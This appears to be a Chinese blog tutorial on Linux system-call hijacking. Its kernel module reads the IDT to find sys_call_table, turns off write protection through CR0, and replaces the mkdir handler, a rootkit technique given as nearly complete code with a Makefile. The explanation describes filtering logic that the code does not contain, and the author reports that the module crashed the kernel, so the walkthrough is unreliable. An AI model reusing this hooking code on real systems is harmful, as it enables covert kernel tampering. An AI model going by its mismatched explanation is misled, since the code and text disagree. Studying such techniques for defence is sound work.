Linux漏洞挖掘:08---系統呼叫劫持之(通過IDT中斷向量表獲取sys_call_table系統呼叫表)

江南、董少發表於2020-02-06

一、IDT中斷向量表簡介

  • IDT是中斷向量表,其被分為許多個段,一個段被分為中斷號和中斷處理函式

二、通過IDT中斷向量表獲取sys_call_table系統呼叫表

  • IDT這個表的地址是在特殊暫存器中儲存的,而這個特殊暫存器的地址是我們可以通過程式設計設計獲取的
  • 在系統呼叫詳細文章中(見文章:https://blog.csdn.net/qq_41453285/article/details/102810100),我們介紹過,sys_call_table的的中斷號為0x80。其也是存在於IDT中,因此我們可以先獲取IDT表的指標,再根據地址偏移,獲取中斷號為0x80的地址,再進一步獲取sys_call_table系統呼叫表的地址

 

三、編碼實現

  • 這個演示案例中我們先通過IDT獲取sys_call_table的地址,然後再通過sts_call_table改寫mkdir系統呼叫系統呼叫

idt.c程式設計

//lkm.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>

	
unsigned long *sys_call_table;

struct 
{
	unsigned short size;
	unsigned int addr;
}__attribute__((packed)) idtr;

struct
{
	unsigned short offset_1;
	unsigned short selector;
	unsigned char zero;
	unsigned char type_attr;
	unsigned short offset_2;
}__attribute__((packed)) idt;

unsigned long  *find_sys_call_table(void)
{
	unsigned int sys_call_off;
	char *p;
	int i;
	unsigned int ret;

	asm("sidt %0":"=m"(idtr)); //通過idtr獲取IDT表的地址
	printk("Arciryas:idt table-0x%x\n", idtr.addr);

	//將0x80處sys_call_table的地址存放到idt中
	memcpy(&idt, idtr.addr+8*0x80, sizeof(idt));//IDT表一行佔8個位元組,所以8*0x80
	sys_call_off = ((idt.offset_2<<16) | idt.offset_1);

	p = sys_call_off;
	for(i=0; i<100; i++)
	{
		if(p[i]=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85')  //sys_call_table的call硬編碼
			ret = *(unsigned int *)(p+i+3);
	}
	printk("Arciryas:sys_call_table-0x%x\n", ret);
	return (unsigned long**)ret;
}

asmlinkage long (*real_mkdir)(const char __user *pathname,umode_t mode);
asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{
	printk("Arciryas:mkdir-%s\n", pathname);
	
	return (*real_mkdir)(pathname, mode);
}

static int lkm_init(void)
{
	sys_call_table = find_sys_call_table();

	write_cr0(read_cr0() & (~0x10000));
	real_mkdir = (void *)sys_call_table[__NR_mkdir];
	sys_call_table[__NR_mkdir] = fake_mkdir;
	write_cr0(read_cr0() | 0x10000);

	printk("Arciryas:module loaded\n");

	return 0;
}

static void lkm_exit(void)
{
	write_cr0(read_cr0() & (~0x10000));	
	sys_call_table[__NR_mkdir] = real_mkdir;
	write_cr0(read_cr0() | 0x10000);
	printk("Arciryas:module removed\n");
}

module_init(lkm_init);
module_exit(lkm_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("dongshao");
MODULE_DESCRIPTION("hook mkdir");

Makefile設計

KVERS = $(shell uname -r)

# Kernel modules
obj-m += lkm.o

# Specify flags for the module compilation.
#EXTRA_CFLAGS=-g -O0

build: kernel_modules

kernel_modules:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules

clean:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean

程式碼解析

  • 這個函式是核心模組的載入函式
    • 我們首先通過自定義find_sys_call_table函式(下面介紹)獲取sys_call_table的地址
    • 然後開啟核心記憶體防寫,準備改寫系統呼叫
    • 我們先通過__NR_mkdir索引獲取原本核心的sys_mkdir函式,然後再將__NR_mkdir索引處的函式改為我們自己的函式fake_mkdir
    • 之後關閉記憶體防寫,然後列印一些資訊

  • 這個函式用來獲取sys_call_table的地址,然後通過返回值返回

  • fake_mkdir是我們自定義的函式,我們使用strstr函式判斷:
    • 如果建立的目錄名中有“CSDN”字串,那麼strstr就返回非NULL,就執行else返回0,返回0之後,sys_call_table[__NR_mkdir]索引處就被置空了,那麼mkdir系統呼叫就什麼都不會做了
    • 如果建立的目錄名中沒有“CSDN”字串,那麼就呼叫返回我們儲存的原來sys_mkdir的函式指標

  • 這個是核心模組的UI出清除模組,與核心載入模組類似,只是將核心原有的sys_mkdir指標重新賦值給sys_call_table系統呼叫表

 

演示效果

  • 首先編譯模組
make

  

  • 載入模組,然後檢視核心列印的資訊,可以看到核心模組列印的sys_call_table系統呼叫表地址

  • 本人在實驗的時候不知道什麼原因,模組載入之後失敗了,好在模組列印了IDT表的地址。但是又不能解除安裝了,核心出錯了,我們只好重啟系統來重新引導核心

相關文章